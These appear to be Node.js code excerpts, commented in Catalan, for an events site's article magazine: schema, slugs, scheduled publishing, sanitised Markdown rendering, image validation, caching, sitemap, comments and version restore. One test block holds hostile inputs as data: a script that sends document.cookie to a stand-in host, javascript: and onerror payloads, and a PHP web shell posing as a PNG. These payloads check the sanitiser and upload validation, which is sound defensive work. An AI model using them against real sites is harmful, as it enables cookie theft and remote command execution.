npm install markdown-it sanitize-html multer sharp slugify

// src/repositoris/esquemes/article.js
const esquemaArticle = new Schema({
  slug: { type: String, required: true, unique: true },
  titol: { type: String, required: true, maxlength: 160 }, resum: { type: String },
  cosMarkdown: { type: String, required: true },      // la font editable
  cosHtml: String,                                    // derivat i sanejat (punt 6)
  estat: { type: String, default: 'esborrany',
           enum: ['esborrany', 'programat', 'publicat', 'arxivat'] },
  autorId: { type: String, required: true },
  autorNom: { type: String, required: true },      // desnormalitzat (punt 8)
  etiquetes: { type: [String], default: [] },
  esdevenimentId: { type: String, default: null }, // 'evt-003'
  salaId: { type: String, default: null },         // 'teatro-almendra'
  imatgePortada: { clau: String, amplada: Number, textAlternatiu: String },
  publicatEl: { type: Date, default: null }, programatPer: { type: Date, default: null },
  versions: { type: [esquemaVersio], default: [] },
  versio: { type: Number, default: 1 } }, { timestamps: true });   // versio → ETag

esquemaArticle.index({ estat: 1, publicatEl: -1 });       // consulta principal
esquemaArticle.index({ etiquetes: 1, publicatEl: -1 });
esquemaArticle.index({ esdevenimentId: 1, publicatEl: -1 });
// Index de text per a la cerca (punt 9); els pesos prioritzen el titol.
esquemaArticle.index({ titol: 'text', resum: 'text', cosMarkdown: 'text' },
  { weights: { titol: 10, resum: 5, cosMarkdown: 1 }, default_language: 'spanish' });

// src/serveis/slugs.js — l'index unique sobre slug es la garantia final
// strict elimina tot el que no sigui alfanumeric o guio; locale 'ca' passa
// 'ç' a 'c' i 'à' a 'a'. El tall a 80 dona URL llegibles i compartibles.
const generarSlugBase = (titol) =>
  slugify(titol, { lower: true, strict: true, locale: 'ca', trim: true }).slice(0, 80);

async function generarSlugUnic({ repositoriArticles, titol }) {
  const base = generarSlugBase(titol);
  let candidat = base; let sufix = 1;
  while (await repositoriArticles.existeixSlug(candidat)) {  // 2 o 3 voltes com a molt
    sufix += 1; candidat = `${base}-${sufix}`;
  }
  return candidat;
}
module.exports = { generarSlugBase, generarSlugUnic };

// src/serveis/publicacio.js
async function programarPublicacio({ article, quan, cuaEditorial }) {
  const retardMs = new Date(quan).getTime() - Date.now();
  if (retardMs <= 0) throw new ErrorDeValidacio('DATA_EN_PASSAT', { quan });
  await cuaEditorial.add('publicar-article', { articleId: article.id },
    { delay: retardMs, attempts: 3, removeOnComplete: 100,
      jobId: `publicar-${article.id}` });   // determinista: reprogramar substitueix
  return repositoriArticles.actualitzar(article.id,
    { estat: 'programat', programatPer: quan });
}

// El consumidor (proces a part, M10/M11) REVALIDA l'estat abans d'actuar:
// si l'autor ha tornat l'article a esborrany i el treball no s'ha cancellat be,
// publicar a cegues trauria a la llum un text retirat.
new Worker('editorial', async ({ data }) => {
  const article = await repositoriArticles.obtenir(data.articleId);
  if (article?.estat !== 'programat') return { omes: true };
  await serveiPublicacio.publicar(article);
}, { connection });

// src/serveis/renderitzador.js
const md = new MarkdownIt({ html: false, linkify: true, typographer: true });

const OPCIONS_SANEJAMENT = {
  // Llista BLANCA: nomes sobreviu el que hi ha enumerat. Una llista negra
  // sempre es queda curta davant d'una etiqueta o un atribut nou.
  allowedTags: ['h2', 'h3', 'h4', 'p', 'blockquote', 'ul', 'ol', 'li', 'strong', 'em',
    'code', 'pre', 'a', 'img', 'figure', 'figcaption', 'table', 'thead', 'tbody', 'tr',
    'th', 'td', 'hr', 'br'],
  allowedAttributes: { a: ['href', 'title', 'rel', 'target'], code: ['class'],
    img: ['src', 'alt', 'width', 'height', 'loading'] },
  allowedSchemes: ['http', 'https', 'mailto'],   // sense javascript: ni data:
  allowedSchemesByTag: { img: ['https'] },
  // Enllacos externs mai sense rel, o exposem window.opener.
  transformTags: { img: sanejarHtml.simpleTransform('img', { loading: 'lazy' }),
    a: sanejarHtml.simpleTransform('a', { rel: 'noopener noreferrer nofollow' }) },
};
const renderitzarArticle = (cos) => sanejarHtml(md.render(cos), OPCIONS_SANEJAMENT);
module.exports = { renderitzarArticle, OPCIONS_SANEJAMENT };

// src/serveis/validacio-imatges.js
// Signatures dels formats que acceptem (M3: Buffers i nombres magics).
const SIGNATURES = [
  { tipus: 'image/jpeg', extensio: 'jpg', bytes: [0xff, 0xd8, 0xff] },
  { tipus: 'image/png', extensio: 'png',
    bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { tipus: 'image/webp', extensio: 'webp', bytes: [0x52, 0x49, 0x46, 0x46],
    extra: (b) => b.subarray(8, 12).toString('ascii') === 'WEBP' },
];

function detectarTipusReal(bufer) {
  for (const signatura of SIGNATURES) {
    if (!bufer.subarray(0, signatura.bytes.length).equals(Buffer.from(signatura.bytes))) continue;
    if (signatura.extra && !signatura.extra(bufer)) continue;
    return { tipus: signatura.tipus, extensio: signatura.extensio };
  }
  return null;   // cap signatura coneguda: no es una imatge que acceptem
}

// src/cues/imatges.js — consumidor, proces a part
const MIDES = [{ nom: 'miniatura', amplada: 320 }, { nom: 'contingut', amplada: 960 },
               { nom: 'portada', amplada: 1600 }];

new Worker('imatges', async ({ data }) => {
  const original = await magatzem.descarregar(data.clauOriginal);
  const generades = [];
  for (const mida of MIDES) {
    const sortida = await sharp(original)
      .rotate()                                   // respecta l'orientacio EXIF
      .resize({ width: mida.amplada, withoutEnlargement: true })
      .webp({ quality: 82 }).toBuffer();
    const clau = data.clauOriginal.replace(/\.(\w+)$/, `-${mida.nom}.webp`);
    await magatzem.pujar(clau, sortida, 'image/webp');
    generades.push({ nom: mida.nom, clau, amplada: mida.amplada });
  }
  await repositoriArticles.registrarImatges(data.articleId, generades);
}, { connection, concurrency: 2 });

function respondreArticle(resposta, article) {
  // L'ETag es deriva del contingut: canvia nomes si l'article canvia.
  // s-maxage separa CDN de navegador; stale-while-revalidate serveix contingut
  // una mica vell mentre revalida, aixi el lector no espera mai.
  resposta.set('ETag', `"art-${article.id}-${article.versio}"`);
  resposta.set('Cache-Control', 'public, max-age=60, s-maxage=300, stale-while-revalidate=600');
  return resposta.json(article);
}

// src/serveis/lectura-articles.js
const CLAU = (slug) => `article:publicat:${slug}`;

async function obtenirArticlePublicat({ slug, redis, repositoriArticles }) {
  const enCache = await redis.get(CLAU(slug));
  if (enCache) return JSON.parse(enCache);
  const article = await repositoriArticles.cercarPublicatPerSlug(slug);
  if (!article) return null;
  // TTL com a xarxa de seguretat; la invalidacio explicita es el mecanisme real.
  await redis.set(CLAU(slug), JSON.stringify(article), 'EX', 600);
  return article;
}

async function invalidarArticle({ slug, redis }) {
  // Els llistats tambe contenen l'article: cal tirar-los.
  await redis.del(CLAU(slug), 'magazin:portada', 'magazin:sitemap', 'magazin:rss');
}

const cercarArticles = ({ consulta, limit = 10 }) => ModelArticle
  .find({ $text: { $search: consulta }, estat: 'publicat' },
        { puntuacio: { $meta: 'textScore' } })
  .sort({ puntuacio: { $meta: 'textScore' } }).limit(limit).lean();

async function llistarPublicats({ cursor, limit = 12, etiqueta }) {
  const filtre = { estat: 'publicat' };
  if (etiqueta) filtre.etiquetes = etiqueta;
  if (cursor) filtre.publicatEl = { $lt: new Date(cursor) };   // cursor, no skip
  // El select importa: no carreguis cosMarkdown ni versions per a una portada
  // de targetes. Es la diferencia entre transferir 8 KB i 800 KB per pagina.
  const docs = await ModelArticle.find(filtre)
    .select('slug titol resum autorNom publicatEl etiquetes imatgePortada')
    .sort({ publicatEl: -1 }).limit(limit + 1).lean();
  const pagina = docs.slice(0, limit);   // l'extra nomes serveix per saber si n'hi ha mes
  return { articles: pagina.map(aResumDomini),
    cursorSeguent: docs.length > limit ? pagina.at(-1).publicatEl.toISOString() : null };
}

// src/rutes/feeds.js — el sitemap va a la memoria cau i s'invalida en publicar
rutes.get('/sitemap.xml', async (peticio, resposta) => {
  const enCache = await redis.get('magazin:sitemap');
  if (enCache) return resposta.type('application/xml').send(enCache);
  const articles = await repositoriArticles.totsElsPublicats();
  const xml = ['<?xml version="1.0" encoding="UTF-8"?>',
    '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">',
    // lastmod = data de l'ultima edicio, igual que el sitemap del portal.
    ...articles.map((a) => `<url><loc>${configuracio.urlPublica}/magazin/${a.slug}</loc>` +
      `<lastmod>${a.actualitzatEl.toISOString().slice(0, 10)}</lastmod></url>`),
    '</urlset>'].join('\n');
  await redis.set('magazin:sitemap', xml, 'EX', 3600);
  return resposta.type('application/xml').send(xml);
});

describe('magazin', () => {
  it("saneja l'HTML malicios incrustat al Markdown", () => {
    const html = renderitzarArticle(
      'Hola <script>fetch("//dolent.test?c="+document.cookie)</script>\n\n' +
      '[clica](javascript:alert(1))\n\n<img src=x onerror="alert(1)">');
    expect(html).to.not.include('<script');
    expect(html).to.not.include('javascript:');
    expect(html).to.not.include('onerror');
  });
  it('rebutja un fitxer que diu ser PNG i no ho es', async () => {
    await peticio(crearAplicacio())
      .post('/api/v1/magazin/articles/art-1/imatges')
      .set('Authorization', `Bearer ${tokenOrganitzador}`)
      .attach('imatge', Buffer.from('<?php system($_GET[0]); ?>'),
        { filename: 'foto.png', contentType: 'image/png' })
      .expect(400)
      .expect((r) => expect(r.body.error.codi).to.equal('CONTINGUT_NO_ES_IMATGE'));
  });
});

async function reanomenarSlug({ articleId, titolNou, actor }) {
  const article = await repositoriArticles.obtenir(articleId);
  politica.exigir('article:editar', { actor, recurs: article });   // M8
  const slugNou = await generarSlugUnic({ repositoriArticles, titol: titolNou });
  if (slugNou === article.slug) return article;
  const slugAntic = article.slug;
  const actualitzat = await repositoriArticles.actualitzar(articleId,
    { slug: slugNou, titol: titolNou, $inc: { versio: 1 } });
  // La redireccio es crea DESPRES d'alliberar el slug antic de l'article.
  await repositoriRedireccions.crear({ slugAntic, slugNou, creadaEl: new Date() });
  await invalidarArticle({ slug: slugAntic, redis });
  await invalidarArticle({ slug: slugNou, redis });
  return actualitzat;
}

const APROVATS_PER_CONFIANCA = 3;

async function crearComentari({ articleId, autor, text }) {
  const aprovats = await repositoriComentaris.comptarAprovatsDe(autor.id);
  const estat = aprovats >= APROVATS_PER_CONFIANCA ? 'publicat' : 'pendent';
  const comentari = await repositoriComentaris.crear({ articleId, autorId: autor.id,
    autorNom: autor.nom, text, estat, creatEl: new Date().toISOString() });
  // Nomes invalidem si es publica: si queda pendent, la memoria cau segueix correcta.
  if (estat === 'pendent') await cuaModeracio.add('revisar-comentari',
    { comentariId: comentari.id });
  else await redis.del(`comentaris:${articleId}`);
  return comentari;
}

async function restaurarVersio({ articleId, numero, actor }) {
  const article = await repositoriArticles.obtenir(articleId);
  if (!article) throw new RecursNoTrobat('ARTICLE_NO_TROBAT', { articleId });
  politica.exigir('article:editar', { actor, recurs: article });
  const versio = article.versions.find((v) => v.numero === Number(numero));
  if (!versio) throw new RecursNoTrobat('VERSIO_NO_TROBADA', { numero });
  // Abans de sobreescriure, la vigent s'arxiva: restaurar es reversible.
  const vigent = { numero: (article.versions.at(-1)?.numero ?? 0) + 1,
    titol: article.titol, cosMarkdown: article.cosMarkdown,
    autorId: actor.id, guardadaEl: new Date() };
  const actualitzat = await repositoriArticles.actualitzar(articleId, {
    titol: versio.titol, cosMarkdown: versio.cosMarkdown,
    // Es torna a sanejar amb la llista blanca ACTUAL, no amb la de fa sis mesos.
    cosHtml: renderitzarArticle(versio.cosMarkdown),
    $push: { versions: { $each: [vigent], $slice: -20 } },   // mante el topall
    $inc: { versio: 1 } });
  await invalidarArticle({ slug: article.slug, redis });
  return actualitzat;
}